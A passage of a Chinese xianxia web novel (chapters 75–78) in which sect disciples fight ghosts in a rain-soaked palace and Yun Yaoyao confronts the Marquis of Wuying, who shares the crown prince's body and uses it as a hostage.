无论是他还是乾阳宗的诸位弟子,都认为这位师妹不过是心性不稳,才会误入歧途。就连花在溪都一直在努力说服自己,是云杳窈太过依赖岑无望,所以才会选择与他一起叛逃师门。 这世上最不可分割的就是亲人和爱人。 云师妹只是分不清楚这两者的区别,才会误把岑无望当作不可割舍的一部分。 雨前微微湿润的气流争先恐后堵进花在溪的喉管,他呼吸有些困难。 凤凰羽让他拥有世上最炽热纯粹的灵气,可是他沸腾的血再度凉了下来。 花在溪看向岑无望,这回,他带着羡慕的口吻说:“岑无望,你很得意吧。” 岑无望有些疑惑,似乎是没听明白他的话。 暴雨倾盆,携雷声而至,毫无征兆地将天地溺在水里。 电光闪烁之间,花在溪看见岑无望的目光平静落在他身上。 他的唇张张合合,但是被雷声所覆盖,听不清楚。 花在溪凭借岑无望的唇形变化看出那两个字是什么了。 “蠢货。”岑无望如是说。 第75章 鸣金收兵,内斗暂休,云杳窈与乾阳宗众人自内庭宫道起,按照聂清光的指示,搜查几个可疑的阵点,最后在宫门前会和。 恶鬼仍在黑暗中潜行,阴雨天让一些小鬼在白天也能肆无忌惮。为了所有人的安危,云杳窈提议每条路线都要由两人结伴而行。 花在溪还有很多话想和云杳窈说,他第一个上前:“师妹,还是和我一起吧。” 闻佩鸣倒不急了,他还有些想不通的地方要单独和聂清光聊,因此主动先走一步:“我在城门处等你们。” 靴子还没碰到水, 身后的聂清光就已经贴心为他铺起避水术,并提醒他阶梯:“小心脚下。” 大雨天,他还下意识摇着折扇。 并不是他不知冷热,这其实是一种信号。 自进入襄华境内,闻佩鸣总有一种失控感。他自以为是那个下棋的人,没想到进了王都后,倒成了盘中棋子。 他孤零零站在命途交织的纵横线上,身侧有无数棋子与他并肩而立,然而他并不知道自己属于哪一边。他甚至没有机会明哲保身,只能告诉自己每一步都必须作出正确的选择。 可哪有选择是永远正确的,也根本不存在两全其美的法子让他全身而退。 闻佩鸣难得叹息。 身旁的聂清光听见了,殷切凑上来:“少阁主有心事?” 闻佩鸣没拿正眼瞧他,只在余光处瞥见一张堆着褶子的笑脸。 实在称不上好看,这张脸哪怕再年轻二十岁,也很难被称作英俊,按照闻佩鸣刁钻的眼光来看,丑男人年轻时也很丑,老只是不够俊美的借口。 闻佩鸣这个人事事要求最好,自身如此,对身旁人的要求也是如此。 要最好的出身,无可挑剔的外貌,令人望尘莫及的根骨,还有绝对的权柄和威视。 旁人觉得他心气高,他却觉得只有全部拥有,他才能活下去。 反正聂清光也是个灵智半开的,在阁中也说不上话,能从千里之外赶来,应当是想借他权势重回照渊阁中心,闻佩鸣拿捏这么个人,还是有十足的把我。 所以他这才放心和聂清光说起最近的烦心事。 不过闻佩鸣还是谨慎惯了,即便剖心挖肺,也不会彻底坦诚。他没有直接说出想问的话,而是拐了个弯:“见到阁主了吗,他让你过来的?” 聂清光啊了一声,似乎没反应过来。 “没有啊,小的还没回过照渊阁。”他摸摸头发,惭愧道,“更何况,就算我去了,阁主也不会见我这么个小人物的。” 确实没听懂,不过这也让闻佩鸣有点意外。 “那你为何会知道我的去向?” 聂清光好半天没回答,他憋的脸都红了,才说了句:“我猜的。” “猜的挺准。”闻佩鸣嘲讽他。 可惜聂清光是个直肠子,根本没听懂这位少阁主的阴阳怪气,他以为对方夸赞他心思活络,直觉精准,于是还像模像样继续谦虚道。 “少阁主谬赞。” 闻佩鸣无语。 聂清光没看出他不高兴,于是继续乐呵呵没话找话。 “少阁主年岁几何啊?我有个侄儿,与少阁主应该差不多大,他母亲年轻时可是我们师门的第一美人。好多年没见了,要是他长这么大,应该和少阁主一样俊。少阁主母族是在哪啊?说不定和我师姐是亲族呢。” 闻佩鸣其实不知道自己年纪,他记事起就在阁中受教,眼一睁就是少阁主哪里知道自己母族在何处。 他很讨厌别人问起私事。 南荒就那么几个有名的氏族,互相通婚很正常,如他这般的少年英才,随便两两凑在一起往上数,都有那么点亲缘关系。 不过是又一个以此套近乎往上爬的,闻佩鸣早已司空见惯,所以不耐烦道。 “管那么多干嘛。” 他这人的刻薄是造物主刻在他骨血里的,于是他灵光一闪,反问道:“怎么说你师姐,你说你自己,你先前那么想回南荒,想必是妻女应该也在南荒吧?怎么不数数自己祖上的恩典。” 谁知这话对聂清光仍是无效,他笑了笑,回答道:“小的根本没成婚,更没有孩子,一直蒙受师姐和师姐夫的照顾,才在南荒有个落脚之处……” 也不知哪个字眼刺激到了闻佩鸣,他反问:“师姐和师姐夫?搞半天,你在南荒连个自己的住宅都没有吗?还要靠人家施舍才能有个住处。” 这话实在是很过分了。说到底,聂清光几十年如一日,兢兢业业给照渊阁做事,到头来家未成,业荒废,几乎都是两任阁主的决策失误。 甚至很有可能,他在襄华边境这几年,阁中连钱都没给他多少。 不然一个养在外面的暗线,不可能让他穷困潦倒至此。 闻佩鸣看见他,觉得他可怜可悲又可恨。 脑子实在是不灵光。 算了,闻佩鸣心道,聂清光都这样了,他己还和他计较什么呢。 闻佩鸣转头,正准备大发慈悲心给他砸点钱,没想到看见他抹着眼泪,哭的正难看。 太丑了,闻佩鸣原本打算掏出来的帕子又塞回袖中。 他抱袖安慰道:“行了行了,一把年纪还哭成这样,不知道的还以为我多恶毒呢。” 不过闻佩鸣听几声就不耐烦了,啪的一声合上扇子,道:“哭什么,等回了照渊阁,我提拔你到阁内做事,再给你买个宅子,你要是想娶亲,找红娘帮你牵线就行,钱从阁中出,算是犒赏你这些年的苦劳。到时候你就能扬眉吐气,让你师姐和师姐夫再也不敢看不起你。” 聂清光只听进去前几句话,抹了把泪,感叹道:“师姐和师姐夫于我有恩,待我极好,我愿意一辈子当牛做马。” 此话一出,把闻佩鸣气笑了:“你就这点出息。听你说的,你肯定喜欢你师姐,怎么就甘愿做奴才供人家两口子驱使呢?你师姐指不定在背后怎么笑话你呢。” 他从没见过这么窝囊的人,觉得有必要亲自给他提个匾,上头就写着南荒第一大窝囊。 聂清光却不这么觉得,他容不得别人说他师姐,于是窝窝囊囊硬气了一回:“我要是天天想着反抗,来襄华第一年,我就跑路了。” 看见闻佩鸣拉下脸,他又赶紧说:“我师姐不是那种人,我确实年少时曾爱慕师姐,但比起娶她,我更想让她幸福。一个男人,不能给心爱的女人幸福,反倒想方设法哄她跟着自己往火坑跳,那才是真怂蛋。” “况且我师姐真不是你想的那样,她是个好女人,能文能武,当年就是她造了改良版飞舟,阁中一直沿用至今。是我配不上人家,不能因为我能力不够,反而去诋毁人家。”聂清光认真道。 他人到中年,竟然还显现出了点少年气来。 “况且我也是这次回去才知道,师姐和师姐夫已陆续离世,只剩下我那可怜的外甥,除了我这么个不中用的东西,竟无人可依靠。” 这回闻佩鸣听明白了,绕了这么大一圈,原来是在这儿等着他呢。 “打住。”闻佩鸣说,“弯弯绕绕,最后不就是想为你外甥谋个出路,既然如此,到时候你把他领过来,我给他找一份清闲的差事,养着他就是了。” 聂清光喜笑颜开,却连道不敢。 “能得少阁主赏识,已经是我三生有幸,怎好再因这些小辈的事再劳烦您呢。” 这于闻佩鸣来说不过是顺手的事,左右不过是收养个孤儿,他拿捏着这个孩子,就等同于将聂清光收归己用。 此次襄华之行让闻佩鸣明白一个道理,要是想从现任阁主手中夺权,绝非易事,他不能干等着权力交接,多培养些心腹,于他而言绝不是什么坏事。 聂清光不但阵法造诣高,又心思单纯,说不定还能借此将当年陈老遣散的弟子们召回,为他所用。 实在是桩一本万利的生意。 闻佩鸣重新将扇子打开,轻轻用扇面掩了掩鼻尖。 “你只要安心跟着我做事,不会亏待你 的。“他顿了顿,“若是回去后我太过繁忙,就把你举荐给阁主……” 他话还没说完,就被聂清光打断:“那可不成。” 闻佩鸣眯起眼,威胁道:“怎么不成,照渊阁可是只有一位阁主,你不愿替他做事,就是想要背叛照渊阁。” 原以为这次聂清光也会迅速倒戈,没想到他坚决道:“不行,我既然受少阁主恩惠,自然要事事围着少阁主,阁主周围那么多精锐,也不缺我一个,少阁主要是厌烦我,或是嫌我做事不够妥帖,也请让我跟在身边做牛做马……” 这回闻佩鸣真笑了,他不知道这人究竟是有意恭维他,还是真的愚忠,认准了什么道理就咬死不放。 他压根不在乎,他要的只是没有异心的忠仆。 两人边走边说,脚步自然慢了下来。 已经有人比他们先一步抵达宫门口。 剑刃破开骨头的声音,闻佩鸣再熟悉不过,他远远看见两个红衣白罩纱的少年在宫门前如砍瓜切菜般利落斩杀无头尸。 其中一个戴着红玉莲花冠,束着细长抹额,打扮风流明丽的,正是花在溪。 再转身,玄衣少女与他相背而立,两人出招的方式如出一辙的爽快。 云杳窈的剑比花在溪的更轻盈更快,剑锋扫过花在溪耳边,带起一阵风。她斩杀了一只从侧边袭击过来的无头尸鬼,细长的红色抹额为问心的剑气所伤,就这么衰落在地,很快就就被雨水浸湿。 闻佩鸣还没来得及出手,两人就已经结束战斗。 云杳窈收剑,捡起断裂的抹额,额心点缀的玉石已经碎了,灵气也无法修复。 “抱歉。”云杳窈说,“方才情急之下,不小心斩断了它,我再赔你一根。” 花在溪额心的凤凰羽图腾再无遮掩,完全显露出来,在雨丝的遮蔽下,远远望去,好像在燃烧舞动。 雨水顺着花在溪的眼睫往下流淌,显得他一双眼湿漉漉的。 这场雨浸湿了他整个眼中世界,他捡起抹额,毫不在意:“无妨。” 带到他指尖接触到自己的掌心,云杳窈这才注意到,他的手上竟然同时戴了两枚戒指。 归飞千翼戒。一枚戴在食指,一枚戴在尾指。 花在溪垂眸:“这是师长对我们的心意和祝福。” 他忽然问她:“还要吗?” 说着,作势要将那枚更细的尾戒取下来。 云杳窈没有躲,但她说:“没必要给我,都过去了。” 雨水打湿皮肤,那枚戒指套在手指上,滑腻难褪,他好不容易推出来一点,便听见云杳窈的回答。 太坦荡了,以至于叫他也不得不坦荡。 “也是。” 花在溪又把那枚戒指推回指根。 刚才握剑太紧,这会儿手指充血,掌心有点发烫。无名指上的戒指尺寸可以随心意调节,但他偏偏要执着于保留着这个并不适合自己的尺寸。 云杳窈提醒他:“花仙长,戒指可以用灵气变换大小。” “就像这样。”没有打招呼,云杳窈隔着雨幕,将灵气输送过去。 刚才还不合适的戒指瞬间贴合花在溪的手指,那种肿胀感却还没有消失。 花在溪说:“真绝情啊。” 云杳窈说:“不绝情才是绝情。” 闻佩鸣心情好,一把折扇横在两人面前,他笑眯眯道:“怎么不见岑无望啊,难不成是鬼性大发,跑了不成?” 云杳窈食指用力,折扇顺着她的力道扣了回去。 “方才路遇分岔口,偏偏两条路上都有法阵未曾检查,我想着离得近,分开一会儿也没什么,便让他去另一边了。这里的无头尸奈何不了他,应该等会儿就会过来。” 闻佩鸣道:“那真是太遗憾了。” 云杳窈不欲搭理闻佩鸣,直接越过他询问聂清光:“这一路上你们可曾找到天隐石的蛛丝马迹。” 聂清光回答:“没有,但我发现一件怪事。” “先前我缩地千里,并未仔细走过宫内道路,只隐约感受到这里的阵法有些不同,然而今日细走一遍,却发现这些阵法的顺序似乎有些不一样。它们的灵气走向,似乎有些不对劲” 云杳窈不懂:“请聂叔明示,我观这些阵法聚气于内庭朝晖殿,照理说,这宫中是防御阵法,讲究聚气不散,流向应当没错才是,为何说它不对劲的?” 聂清光替她也升起驱散雨水的阵法,解释道:“是,它的流向没错,但是它没有出口啊。就好比一个宗门的防御大阵,纵然是聚气抵御外侵,但它必定是有出口。要么被消耗掉,要么反弹出去。否则全都聚集在一处,无处排解,久而久之,灵气走发,阵法内一切事物皆会被其殃及。” “阵眼不算吗?”花在溪身旁的弟子问。 他苦心习剑,门内的阵法通识课并不算严格,他一般都逃课去练武场找人切磋。 云杳窈知道问鼎峰的弟子多以实训为主,除了心法和剑谱,其他都不放在眼里。她解释道:“阵眼只是辅助,并不能消耗多少灵气。相反,若阵眼设置得当,还能加快灵气的运行。” 聂清光点头:“有阵法,聚气不散,可就是找不到消耗灵气的阵枢。” 说到这里,云杳窈便想到了乾阳宗大阵内的镇山灵兽。 她喃喃道:“伯都。” 花在溪听到,立刻会意,两人同时想到一个问题。 “活物,可以做阵枢吗?”说完,连云杳窈自己都笑了。 巡山弟子列阵就是把为首的带队弟子作为阵枢,其余人则是阵眼,防御阵法的阵枢自然也可以改做活物。 可那样的话,原本的阵意就被改写。 阵枢若是活物,那改阵的人就是想借用此阵,养出一个能力强悍的怪物。 云杳窈笑不出来了。 不仅是她笑不出来,在场所有人都联想到了这一点。 就在气氛凝固到令人脊背发寒时,沉寂已久的宫门发出响动。 咚、咚、咚…… 潺潺细雨之中,那沉闷的叩门声越发突兀。 第76章 将刚才的无头尸除去前,云杳窈已经将守城的人遣散,让他们前往崇仙阁护卫内廷女眷。 锁未开,即便是宫门大开,寻常百姓也不敢擅闯,那么来人的身份便很耐人寻味了。 两名乾阳宗弟子已经拔剑侧身贴在门后,待他们点头后,花在溪打开了门。 门外是一个年轻的将领,雨顺着他的眉骨往下淌,遮不住那如鹰隼般犀利目光。他披甲带剑,见到陌生面孔,立刻将刀横插进门缝中。 他戾气很重,身形如小山般魁梧,明明是少年,却拥有着不似常人的力量感。 花在溪下意识往后躲闪,却被他抓住机会踹开门。 厚重的门被他硬生生踢出了几道裂隙。 这一脚极其霸道,直接将门后两人震开。 有一人惊呼:“什么东西,来了个体修?” 那人的刀已至门内,速度不够快,可刀刀狠厉,几乎都是冲着面前人性命去的。 在场众人对鬼气敏感,却鲜少见过这么纯粹的杀招。 来人甚至不带多少情绪,更没有什么杀意。挥刀似乎只是他眼前的一道指令,至于刀下亡魂是谁,他根本不在乎。 他不是鬼,可远比无头尸可怕多了。寻常恶鬼尚且有食人血肉的欲望,他出招砍人时没有恐惧,没有犹豫,没有兴奋,什么感情都没有。 一个无视杀戮的人,是不在乎他人性命的。 云杳窈没有想太多,加入混战。聂清远想要找个地方躲着,却被闻佩鸣出扇拦下。 他低声道:“门外有人,你快去。” 聂清远欲哭无泪,这人都这么狠了,要是外头那个比这个还狠,他焉有命在。 想要装听不懂,在原地磨蹭到打斗结束,然而那人寡不敌众,很快就被几道剑光压制在原地,动弹不得。 闻佩鸣恨铁不成钢,拍了拍他脑门:“怕什么。他 打头阵,就说明他最厉害,况且他再厉害,也是一介凡人,你一个修者,还怕凡人不成?” 聂清远咽了口唾液,刻意绕了一大圈,悄声猫着腰往门口走去。 然而那人余光瞥见他的动作,明明已经自顾不暇,还是将保命的刀丢了出去。 刀身狠狠插入地下,挡在聂清远身前,因为没有剑意和灵气,聂清远并没有觉察到他的起手动作。 直到刀背擦过耳边,发出鸣声,然后斜立在聂清远身前一丈远,他这才被飞过来的刀吓了一跳。 想起刀差点割掉他的耳朵,他直翻白眼,腿软着就要倒下。 “少少少……少阁主。”他越说越小声,“救救救……救命。” 说完,就昏死过去了。 “废物。”闻佩鸣低声骂道,他足下几步变换,想要以身法移至大门前。 那被压制的男子一瞬间爆发出不可思议的力量,在闻佩鸣经过之时,不顾肩上利刃,赤手空拳就要向他挥出去。 剑刃已经割开他皮肉半寸,眼见着就要触及颈部动脉,他也丝毫不停手。 闻佩鸣并未拔剑,这人身上的灵气流动不像是体修,充其量是个精通武艺的凡人。既然是凡胎**,那便不值得唤天同出来。 躲过第一拳,闻佩鸣连扇子都未合上,借着后面众人余威未散,对此人仍是压制势态,所以不紧不慢与他过手上功夫。 正与他来回推拉交手,外头的女子看见门内情况,喊道:“戎负,住手。” 拳风停在闻佩鸣面前,扇子割破他耳垂,鲜红的血很快就聚集成点,乍一看,就像是特意点缀在耳边的红玛瑙珠饰。 戎负的拳头没有再进一分一毫。 外面的姜娆和止戈走了进来,看见场面一片混乱。 止戈打量了众人,发现几个生面孔都穿着乾阳宗的弟子服,手中剑皆为上品。她给出真诚建议:“乾阳宗果然是个误人子弟的去处。对付个凡人需要出动这么多人,还是别执着于教人走剑修这条弯路了。” 乾阳宗弟子纵然不是惊世奇才,也是北境各个家族里素有美名的小辈,哪里听过这种话。 其中一人以为止戈故意出言嘲讽,道:“你知道什么?这个人是个凡人,突然发难,我们担心误伤无辜,所以一再退让,若是想要他性命,他早就是亡魂一缕。” 他观止戈身上并没有什么显著的家族纹饰,也不像几大宗门的弟子,没了最后一丝顾虑,反唇相讥:“阁下莫不是天仙下凡,对我等评头论足,不知你剑锋芒又能显亮几寸,可否赐教?” 止戈蹙眉,她没有拔剑,看了看这位弟子的佩剑,问他:“你确定?这几人里头,数你出剑最快,偏偏行剑时连心无旁骛都做不到,心法与剑法不能合二为一,你根本没参透手中剑。” 自离开灵族幻境,止戈确实再未出手,云杳窈不知道是不是与她的身份有关。 但止戈心性高傲确实是显而易见的事实,在这么说下去,处境最不利的反而是那名弟子。止戈这几句话是有心教导,然而越是这么说,越让那弟子面皮发红发烫,整个人都好似蒸熟了一般。 不过还未等云杳窈劝阻,便听见止戈道:“既然你有心请教,待我安顿好王姬,也不是不能与你过几招。” 说到这里,那名弟子仍是觉得她在戏弄自己,可止戈下一秒便认真询问:“这位小友,你的名字是什么?” 连云杳窈都愣了下,更别提那名弟子了。他一头雾水,最后还是清了清嗓子,道:“泽饶孟氏,孟裕斓。” 提起自己的家世门庭,他不自觉挺直脊背,连下巴都抬高了些许:“你呢?” 这回他才认真打量了眼前的人,紫衣乌发,在宫墙下格外艳丽,然而她的眼尾飞扬,总让人觉得她过分高傲冷漠。 其实仔细看,她眼中不是没有对手,而是谁都没有。 止戈言简意赅回他:“止戈。” 孟裕斓脸色再度红了起来,他已经听出来这并非她本名,不过想再继续刨根问底也是不能够了。花在溪拍了他一下:“别急,要与人切磋,现在也不是好时候。” 这次他们下山的领队是花在溪,孟裕斓向来敬畏定渊长老,对这位花师兄心怀憧憬艳羡,是以花在溪的话,孟裕斓无有不从的。 他沉声应是,余光忍不住打量着这位傲骨天成的女子,见她快步走到云杳窈身边,两人自然而并肩而立,好似分外熟稔。 而那位方才出声阻止的妇人,已经走到戎负身旁。他则低眉垂首,走在她侧后方。 这应该就是襄华王姬。 原本离散的几人,渐渐走到一处,不约而同顺着宫道往前。 三位女子走在中间,以云杳窈为首,连满身煞气的戎负和照渊阁少阁主都成了陪衬,更别提他们几个外人了。 孟裕斓嘟囔道:“云师姐怎么都不等等我们。” 花在溪抖了抖袖子,他的手仍在颤抖,不过脸色已经恢复寻常模样。 孟裕斓有些意外花在溪的反应,这位师兄在乾阳宗向来轻狂自负,如今体会被冷落的滋味,竟然也没多么难适应。 “你在原地不动,怎么好意思怪人家不停下等你?”花在溪甚少以严肃的口吻去教导同门师弟,今日竟然是个例外。 夏雨未歇,似有愈演愈烈之势,花在溪北望天际,幽幽道:“出言须思省。师弟,这里终究不是泽饶,也不是乾阳宗,世间奇人异事何其多,当谨言慎行才是。” 孟裕斓回想起刚才的事,突然意识到自己可能犯了错:“花师兄说得是。” 不过他还是小心翼翼又多问了一句:“师兄,你是不是生我的气了?” 花在溪见他一副懵懂无知却乖顺认错的模样,摇着头笑了笑。 他用了巧力从孟裕斓手中抽走他的剑,再将剑收回鞘中,从头至尾,只用了一息时间,动作却如风行水上般流利顺畅。 比孟裕斓自己运剑时还一气呵成。 “没有。”花在溪否认,“我同你,有什么好置气的。” 前方云杳窈已向止戈说了城内情况,包括进入城中无法使用影,以及邬盈侯舍弃肉身,借天隐石进入王宫内。 云杳窈以为,邬盈侯已有不臣之心,多次举兵造反,还借助恶鬼行事,还是干脆趁这次机会将此人除掉,也好免了这么个心腹大患。 止戈听到这里,突然说:“这件事不太对劲。” 她绞尽脑汁想了一番,每次刚要张口,天边的雷声便更加明显。 最终,止戈只能说:“按照世间命理和天道规则,你本不该过多干涉襄华内政。然襄华气数未尽,如果真是恶鬼当道,斩鬼除恶,应该是善缘。因果这事……” 看她再度止语思索,云杳窈没有停步,她目视不远处的崇仙阁,浑不在意道:“我身上背负的因果还不够多吗?反正按你所说,我的轮回本就是用来偿债的,无论是善缘还是孽债,我都照收不误。” 债是数千年前的债,可人却不可能永远是千年前的那个人。 时过境迁,止戈依旧不明白,灵君当年所犯过错,真的值得用累世血泪去偿还吗? 她看着云杳窈的侧脸,突然感觉到有些难以言喻的复杂情感涌上心间。 好像是歉疚。 止戈嘴唇轻启,还是什么都说不出口。 耳边的雨啪嗒坠地,风簌簌掀动枝叶,止戈眨了眨眼,与她一起经过朝晖殿前无数宫人让出的狭窄小道。 天际的阴影笼罩人间,成了风雨。伞面的阴影落在石砖上,越发显现出人群的寂静。 他们无一例外都在盯着这几个人,明明是谦卑又顺从的姿态,可这种整齐划一的恭顺反倒让人心底发毛。 第77章 每个人的脸上都被米黄色的伞照的好像有一层油膜,只要与其中一人对上眼神,他便会忙不迭将头压得更低。 有一人逆行而来, 拨开人潮,却又在她们面前停住脚步。 身着杏黄蟒袍的姜烛看着被簇拥在中心的姜娆,有些不敢相认。 “阿娆,你……”姜烛神情有一瞬间空白,他虽然知道鬼胎一事,可终究只是听说。 如今亲眼目睹姜娆憔悴瘦削的脸庞,不可能不心疼。 数月不见,姜烛的手上添了细密的伤口,他不忍再看姜娆隆起的腹部,低下头脱掉自己干燥的外袍,搭在姜娆身上。 “这一路雨寒风急,苦了你了。”他红着眼眶,“是皇兄不好,害你不得圆满。” 姜娆看着姜烛布满红血丝的眼,险些落泪。 “皇兄,捷报为何没有传到南方诸城?我等这一日的重逢,等了许久,你怎么忍心不去接我?” 若是不见还好,姜娆心里的委屈还能囫囵咽下,有些难过偏偏是见了面才爆发。 她攥紧了拳,躲过姜烛即将抚摸到她脸颊的手。 “你是不是根本没有想起我,我是这场博弈里可有可无的弃子吗?” 战事平息,姜烛却始终没有想过她在邬盈侯那边过的怎么样。 即便是书信被半路拦截,可襄华王军已经取得胜利,若是快马加鞭,何愁不能昭告天下,将她迎回王都。 还是说因为她是已经出嫁的王姬,麻痹叛军的目的已经达成,所以连最后的价值都没有了? 姜娆内心的怀疑和恐惧已经令她呼吸困难甚至隐隐反胃。 腹部开始作痛,可姜娆还是忍着,像未嫁前那般执拗的看着姜烛。 那些苦未曾将她的倔强磨平,她只是问:“为什么呢?” 姜烛怔愣在原地,所有宫人都在装聋作哑。 雨啪嗒打在伞上,就像是要在姜娆的心里砸出几个细小的孔洞。 听的人都要心碎了,更何况是亲身经历。 “对不起。” “对不起。” “是我,对不起你。” 姜烛站在原地,双腿犹如灌了铅。他抹去姜娆额上的汗。 “听话,我们先把鬼胎取出来,往后你还是襄华王姬,就当邬盈侯从来没出现过,你属意哪家儿郎,便让他随侍在侧,你想要安乐顺遂,我就再为你指一块封地,让你做当世唯一的女君。” “君王一诺,重逾万金。阿娆,父王和母后新歿,我甚至还没来得及将先王遗诏公布于世。” 姜烛身躯摇摇欲坠,还是戎负眼疾手快,将她及时扶住。 姜烛道:“你是我唯一的亲人了,我比任何人都希望你今后能平安喜乐。” 姜娆脚下的雨水逐渐变暗,云杳窈看出不对劲:“见红了。” 止戈将她姜娆抱起,道:“来人带路,带我去找神女像。” 身后一群人闻声而动,她厉声呵斥:“除了云杳窈和姜烛,谁都不要跟过来。” 云杳窈执伞跟在她身侧,还不忘回头嘱咐花在溪等人:“不管发生什么,不要让人闯进崇仙阁。” 想要悄声跟上的闻佩鸣被侍从们拦下,碰了一鼻子灰。 “连我也不行吗?” 雷云密集,狂风大作。 鬼胎即将降世,这种至邪之物必将引起天地动荡。 潜伏在阴暗处的恶鬼闻讯而来,无头尸又从各处涌出来。 花在溪眯起眼,问闻佩鸣:“学过乾阳宗的剑阵吗?” 这必将是一场恶战。 闻佩鸣不喜欢别人指导他做事,先发制人,将天同召出。 “哪里用得着剑阵。”闻佩鸣掐诀,天同的锋芒凛凛,随即剑随心动,以迅雷之势刺进一个无头尸的胸膛,直取心脏。 “听说凤凰羽天下无双,不知与上古神剑相比,谁更胜一筹?” 红光冲天,花在溪额心凤凰羽图腾越烧越盛,那些雨未曾落在他身上就蒸腾消散,四周空气被凤凰火的烈焰扭曲。 蜃景扩散至朝晖殿外,花在溪御剑而至,站在朝晖殿的宫墙上,远望翻涌而来的恶鬼。 天隐石让鬼气隐匿在阴影下,只有离得近才能勉强辨认。 两名少年各占一方,比起单纯的斩杀恶鬼,更像是暗自较劲。 凤凰羽把附近的宫殿墙壁烧的焦黑,花在溪一连焚毁几个恶鬼,忽然听见一阵轰然巨响。 原来是聂清光不知何时爬上墙头,两人合力设阵,竟然凭借阵法变换,以纵横交错的宫道为灵气运行之道,画线为棋盘。 问心化作无数虚影,剑落之处,便是一子。 闻佩鸣远远看见,有几个无头尸踏入阵法范围,他举起握扇的手,再度落下时,剑光向下,将无头尸在棋盘格上绞杀。 盘内局势变化很快,每落一子,阵法便更加牢固。 而误闯进棋局的无头尸竟然慢慢找寻到规律开始寻找气口攻打阵法薄弱处。 这些变化,可能外人看不出,但棋手一清二楚。 闻佩鸣也是头一次用这个阵法,不想在外人面前露怯,存着一口气想要把这盘棋下活。 又一个藏在无头尸身后的恶鬼想要从活口突破,闻佩鸣毫不犹豫,挥扇召剑,将无头尸斩杀后锁住那名恶鬼。 这只鬼见机行事,毫不犹豫吞掉无头尸尚未完全腐败的心脏。 从这里开始,无数恶鬼纷纷效仿,且它们还在不断找突破口汇合,开始互相厮杀。 花在溪那边的恶鬼逐渐减少,闻佩鸣所设阵法内的恶鬼还在不断增加。 这次,就连局外人也意识到不对劲了。 花在溪御剑腾空,以剑气为界,暂时将这边不成气候的鬼挡在外面。 随后,他收回凤凰羽焰火,跳到闻佩鸣身边。 看着交融强大的恶,花在溪突发奇想道:“要不要试试新招式?” 花在溪两指并齐,额心再度亮起图腾,火光很快在指尖升起。他驱策着凤凰羽焰往天同上缠绕。 凤凰羽焰炽热的温度将剑身再度淬炼,两者都是上古遗留下来的神器,今日在他们手中重逢,竟然意外的让他们配合出了新用法。 闻佩鸣提气,天同本剑贯穿即将突破棋盘束缚的一只恶鬼。利刃穿透鬼身时发出滋滋的炙烤声。 由于两人是头一次配合,没有预料到这一剑的威力如此之大。 天同轻易消灭恶鬼后并没有停下,而是又刺穿了几只临近的恶鬼。 剑所行的条直线上已经没有无头尸与恶鬼了,可剑还没有停,直接撞上一棵百年老树。 咔嚓—— 拦腰而断的木头发出脆响,随后骤然倾倒。 砰、砰、砰—— 木头在地上滚了几圈,声音回荡在空旷的地下神祠中,像是碎成断的叹息。 神女像被摔成两半,那一剑自背后而入,将止戈捅了个对穿。 她回身,愕然望向那张和善中带着些许嘲弄的脸。 “你……”止戈的这具身体本就是影子所化,被这样突然袭击,正中要害,恐怕不能多留。 被封印了五感,还不会啼哭的婴孩儿尚在神台上,她握着剑,很快从茫然变为愤怒。 “还回来!”她怒吼,“把姜烛还回来!” 在躯体消散的前一刻,止戈握紧了剑刃,给云杳窈创造了一个反击的机会。 几乎是在瞬间,云杳窈便猜到了这人的身份。 问心携带着排山倒海般的威压灵气,向姜烛杀去。 速度不够快,可力量太强,几乎用上了云杳窈全部的灵气。 她坚信这一剑不可能落空,即便邬盈侯有通天的本事,本质上还是一个不 得不舍弃原身的恶鬼。 只要是恶鬼,被这一剑击中,不立刻魂飞魄散也该残废才对。 邬盈侯知道这一剑他不可能逃掉,这里的出口与入口都在云杳窈背后,暴露身份后他几乎无路可逃。 所以邬盈侯没有跑,而是聚齐全部鬼气,为自己延缓问心剑意落下的速度。 “我提醒你一下,这具身体可是姜烛的,杀了我,就是杀了他。” 他的手心已经渗出鲜血,那是活人的血。 云杳窈知道,邬盈侯没有撒谎,他根本不是以恶鬼之身夺了姜烛的身体,而是用了秘法,与姜烛两魂共用一体。 姜烛很有可能只是被他压制,陷入沉眠,仍有希望让他活下来。 感受到问心的速度逐渐慢了下来,邬盈侯甚至突然将手臂后撤,放任剑刃向自己逼近。 云杳窈一下子没收住力,问心割开姜烛额头上的光洁肌肤,在他的眉间留下一道伤痕。 温热的血珠顺着他的鼻梁滑下,乍一看,像是将他俊朗矜贵的面容分割成两半。 不再伪装的邬盈侯嗤嗤笑了两声,压着眉头,反问云杳窈:“不是要杀我吗?来啊。” 这种挑衅没有激怒云杳窈,邬盈侯有些失望,这种平淡的反应根本配不上他的精心谋划。 这么隆重的一幕戏,他不允许任何人出差错。 不过是肉体凡胎,邬盈侯迟早会换一具新的,所以他根本不心疼这具身体。明明被威压所震,五脏六腑在体内互相挤压,内伤已经很严重了,却仍在狂言。 “我虽是平民出身,却也曾窥破天机,知道襄华气数未尽,姜氏血脉的福泽未断,所以我不敢违抗天命诛杀储君,也不会杀死姜烛。” “那你敢吗,你忍心吗?你究竟是想要杀恶鬼,还是想保住姜氏仅存的帝王血脉。” 邬盈侯看云杳窈咬着牙,眼神里翻涌的恨能把他千刀万剐。 他很欣赏这种目光,甚至有些沉醉其中。这些正道人士瞻前顾后,根本不可能会杀他。 邬盈侯脑子里突然冒出一个能够验证自己心中所想的手段。 没有任何征兆,他直接撞向问心。 第78章 云杳窈眉心一跳,硬生生将剑意往回收。 因为收的太急,她差点接不住这股力,往后撤退几步,最终背靠神台停了下来。回落的灵气立刻在体内反噬,她体内翻江倒海,气血倒涌。 眼前人影憧憧,她长长吐出一口腥甜浊气,抹去唇角的血,重新站直,将问心剑尖指向邬盈侯。 “你是何时学会运用鬼气的?”云杳窈问,“此前从未修行过,不可能在短短几年间将鬼气运用的炉火纯青。” 鬼气与灵气相生相克,很难并行,即便是岑无望也只能在使用时压制一方,才能做到不至于当场走火入魔。 世间关于鬼气修行的典籍甚少,多数被当作邪典禁书,交由各大门派保存。 即便是百年一遇的恶鬼修罗,也是集结了多重巧合养成。有仙门宗派与诸位世家在,已经很难再有能剿灭一国的恶鬼。 且恶鬼通常会被欲念蒙蔽,岑无望是上古灵族,尚且需要强打着精神,不能保证自己时刻清醒。可邬盈侯截然相反,即便是不再遮掩,可他通身的鬼气并不算重,恶欲与杀欲也并不算重。 若真是百世罕见的鬼道奇才,不该埋没到如今,该早些掀起风浪才对。若是后天习得,这般速度也该引得天生异象。 若有异象,世家不可能注意不到。 